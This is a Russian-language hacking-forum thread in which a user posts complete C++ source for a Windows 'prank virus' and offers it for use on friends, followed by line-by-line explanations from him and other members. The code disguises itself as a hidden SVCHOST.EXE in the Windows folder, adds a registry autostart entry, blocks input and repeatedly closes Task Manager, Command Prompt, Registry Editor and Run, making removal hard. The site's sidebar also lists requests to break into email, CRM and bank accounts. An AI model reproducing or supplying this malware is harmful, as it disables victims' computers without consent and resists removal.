Информационная Безопасность. Аудит Безопасности


Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Хочешь поквитаться с врагом или прикальнуться надо другом
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Программирование / C/C++/VC++ RSS подписка на сообщения с форума Subscribe


Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 5127
Хочешь поквитаться с врагом или прикальнуться надо другом
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
pactuk


Scum of Society
# | Сообщение добавлено 29.07.2010 20:22:07
Я не несу никакой ответственности за последствии применении этого вируса или программы
На днях сидел писал и издевался над собою пробовал разные сбособы прикольнуться над друзями и вот написал маленький вирус но очень жестокий (шуточный)
вот код программы если кто хочет прикальнуться над другом но говорю сразу его очень трудно выключить если только после переустоновки ВИНДОВС несоветую запускать на своём компьтере :
 
#include <windows.h>
#include <iostream>
#include <winable.h>
using namespace std;
 
void mouseSpazz(){
int X,Y;
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y);
return;
}
 
void Beeper(){
int Frequency,Duration;
Frequency = rand()%2001;
Duration = rand()%301;
Beep( Frequency, Duration );
return;
}
 
void explorerSpazz(){
BlockInput(true);
HWND hWin;
hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
ShowWindow(hWin,false);
Sleep(100);
ShowWindow(hWin,true);
Sleep(100);
return;
}
 
void openWin(){
char Notepad[MAX_PATH]="notepad.exe";
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
return;
}
 
void winOwned(){
char system[MAX_PATH];
HWND mywindow, TaskMgr, commandPrompt ,Command, CMD,Regedit,Run;
 
TaskMgr = FindWindow(NULL,"Windows Task Manager");
commandPrompt = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
Run = FindWindow(NULL,"Run");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "XAXAXAXA");
Sleep(500);
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
 
if( commandPrompt != NULL )
{
SetWindowText( commandPrompt, "XAXAXAXA");
Sleep(500);
PostMessage( commandPrompt, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
 
if( Regedit != NULL )
{
SetWindowText( Regedit, "XAXAXAXA");
Sleep(500);
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
 
if( Run !=NULL )
{
SetWindowText( Run, "XAXAXAXA");
Sleep(500);
PostMessage( Run, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
return;
}
 
void payload(){
while(1==1){
mouseSpazz();
Beeper();
explorerSpazz();
winOwned();
}
return;
}
 
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
 
{
HWND hwinHide=GetForegroundWindow();
ShowWindow(hwinHide,SW_HIDE);
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH=GetModuleHandle(NULL);
 
char myname[1024],windir[1024];
HKEY hKey;
SetErrorMode(SEM_NOGPFAULTERRORBOX);
 
GetModuleFileName(hInstance,myname,sizeof (myname));
GetWindowsDirectory(windir,sizeof(windir));
 
strcat(windir,"\\SVCHOST.EXE");
CopyFile(myname,windir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
 

RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\ Windows\\CurrentVersion\\ Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SVCHOST.EXE",0, REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
 
payload();
 
return 0;
}
 
Я не несу никакой ответственности за последствии применении этого вируса или программы
Сказать спасибо Ответить Цитировать

Xlooder




Platinum Member
# | Сообщение добавлено 29.07.2010 20:34:38
Прокоментируй построчно, новичкам было бы интересно.
 

Join us or fear us
 
Сказать спасибо Ответить Цитировать

pactuk


Scum of Society
# | Сообщение добавлено 29.07.2010 20:42:21
Попробую
pactuk

void mouseSpazz(){
int X,Y;
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y);
return;
}
Эта функция при запуске мишку бросает в разные стороны!
 
pactuk

void openWin(){
char Notepad[MAX_PATH]="notepad.exe";
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
return;
}
Эта функция открывает Блокнот !
pactuk

void winOwned(){
char system[MAX_PATH];
HWND mywindow, TaskMgr, commandPrompt ,Command, CMD,Regedit,Run;
 
TaskMgr = FindWindow(NULL,"Windows Task Manager");
commandPrompt = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
Run = FindWindow(NULL,"Run");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "XAXAXAXA");
Sleep(500);
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
а эта функция находи и закрывает диспечер задач
pactuk

if( commandPrompt != NULL )
{
SetWindowText( commandPrompt, "XAXAXAXA");
Sleep(500);
PostMessage( commandPrompt, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
 
if( Regedit != NULL )
{
SetWindowText( Regedit, "XAXAXAXA");
Sleep(500);
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
 
if( Run !=NULL )
{
SetWindowText( Run, "XAXAXAXA");
Sleep(500);
PostMessage( Run, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
return;
}
эти функцияя закрывают выполнение ....
pactuk

{
HWND hwinHide=GetForegroundWindow();
ShowWindow(hwinHide,SW_HIDE);
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH=GetModuleHandle(NULL);
 
char myname[1024],windir[1024];
HKEY hKey;
SetErrorMode(SEM_NOGPFAULTERRORBOX);
 
GetModuleFileName(hInstance,myname,sizeof (myname));
GetWindowsDirectory(windir,sizeof(windir));
 
strcat(windir,"\\SVCHOST.EXE");
CopyFile(myname,windir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
 
 
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\ Windows\\CurrentVersion\\ Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SVCHOST.EXE",0, REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
 
payload();
 
return 0;
}
а эта функция копирет себя в папку виндовс и записивает себя реест на автозапускания ыыыыыы
 

Добавлено 29.07.2010 20:44:03 (через 2 минуты 42 секунды )
 
надееюсь хотябы чтото стало понятно
Сказать спасибо Ответить Цитировать

DP120




Scum of Society
# | Сообщение добавлено 04.01.2011 10:50:29
а не надо было
using namespace std
{
}
я так всегда писал, вообще std лучше не парить
Сказать спасибо Ответить Цитировать

MebelMan




Novice
# | Сообщение добавлено 09.06.2011 17:20:10
не совсем понимаю эту функцию:
 
void Beeper(){
int Frequency,Duration;
Frequency = rand()%2001;
Duration = rand()%301;
Beep( Frequency, Duration );
return;
}
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 09.06.2011 17:32:46
MebelMan

не совсем понимаю эту функцию:
 
void Beeper(){
int Frequency,Duration;
Frequency = rand()%2001;
Duration = rand()%301;
Beep( Frequency, Duration );
return;
}

эта функция заставляет пищать системный динамик:
 
C++

void Beeper(){
int Frequency,Duration;//объявляем частоту и дляину писка
Frequency = rand()%2001;//присваиваем частотее случайное значение от 0 до 2000
Duration = rand()%301; //присваиваем длине случайное значение от 0 до 300
Beep( Frequency, Duration );//вызываем функцию заставляющую пищать системный динамик
return;// выходим
}
 

 
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • В darknet сливают данные 100 000 российских банковских карт
  • Вирус Escobar ворует коды двухфакторной аутентификации из Google ...
  • DeadBolt использует уязвимость, исправленную в декабре
  • Почти миллион WordPress-сайтов в опасности из-за уязвимости в поп...
  • Шифровальщик DeadBolt взломал 3600 NAS. Qnap устанавливает обновл...
  • Банковский троян Chaes устанавливает вредоносные расширения для C...
  • Взломана платформа Qubit Finance, хакеры похитили 80 млн долларов
  • Арест участников REvil взволновал других преступников
  • Обнаружена malware MoonBounce, внедряющаяся в UEFI
  • Администратор кардерского форума UniCC и участник хак-группы The ...

    Все новости... Все статьи... Прислать новость RSS
  • Разное / Предложения работы » Взлом авторизации CRM
  • Разное / Предложения работы » взломать сайт и выграть электронную жеребьёвку
  • Разное / Предложения работы » разблокировать сбер аккаунт
  • Разное / Болталка » Re: Форум жив?
  • Разное / Болталка » Форум жив?
  • Разное / Болталка » С Новым 2022 Годом!
  • Взлом и безопасность / Программы » Re: Hasp ключ для ABC-4
  • Портал / Отзывы и предложения » Предлагаем партнерство вашему форуму.
  • Разное / Предложения работы » взлом почты
  • Разное / Куплю, приму в дар » Покупка аккаунтов Uphold

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}